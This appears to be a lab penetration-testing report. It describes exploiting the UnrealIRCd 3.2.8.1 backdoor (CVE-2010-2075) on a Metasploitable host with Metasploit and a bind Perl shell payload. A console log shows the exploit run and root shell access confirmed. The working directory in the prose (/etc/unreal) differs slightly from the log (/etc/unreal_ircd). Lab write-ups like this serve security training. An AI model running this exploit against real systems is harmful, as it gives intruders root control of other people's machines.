

Penetration Testing Report

1. Introduction:

During the network scanning phase of the target machine (192.168.127.129) using **Nmap**, the service **UnrealIRCd** was identified running on port 6667. Further analysis revealed that this specific version (3.2.8.1) is vulnerable to a notorious supply-chain attack known as a "Backdoor," officially documented as CVE-2010-2075.

2. Methodology:

The exploitation was carried out using the **Metasploit Framework** following these precise technical steps:

Module Selection: The exploit/unix/irc/unreal_ircd_3281_backdoor module was selected due to its high reliability and direct impact.

Target Configuration: The remote host (**RHOSTS**) was set to **192.168.127.129**.

Payload Selection: A Bind Perl Shell (**cmd/unix/bind_perl**) was utilized to establish a direct command execution channel without the need for complex reverse connection configurations.

Execution: The run command was executed to trigger the backdoor and listener.

3. Evidence of Compromise:

Upon successful execution, a command shell session was established. To verify the success of the breach and the level of access obtained, the following commands were executed (as shown in the attached screenshots):

whoami: Returned **root**, confirming that the exploit granted the highest possible administrative privileges on the target system.

hostname: Confirmed the target identity as **metasploitable**.

pwd: Showed the current working directory as **/etc/unreal**, where the vulnerable service is hosted.

ifconfig: Verified the target's IP address to ensure the session was active on the correct host.

```
root@kali: ~  
Session Actions Edit View Help  
Exploit target:  
--  
Id  Name  
--  --  
0   Automatic Target  
--  --  
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_perl  
PAYLOAD => cmd/unix/bind_perl  
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run  
[*] 192.168.127.129:6667 - Connected to 192.168.127.129:6667...  
      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...  
      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead  
[*] 192.168.127.129:6667 - Sending backdoor command...  
[*] Started bind TCP handler against 192.168.127.129:4444  
[*] Command shell session 1 opened (192.168.127.128:43211 -> 192.168.127.129:4444) at 2026-02-24 15:59:08 -0500  
whoami  
root  
hostname  
metasploitable  
pwd  
/etc/unreal_ircd  
ifconfig  
eth0: Link encap:Ethernet HWaddr 00:0c:29:22:70:90  
      inet addr:192.168.127.129 Bcast:192.168.127.255 Mask:255.255.255.0  
      inet6 addr: fe80::20c:29ff:fe22:7090/64 Scope:Link  
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
      RX packets:14558 errors:0 dropped:0 overruns:0 frame:0
```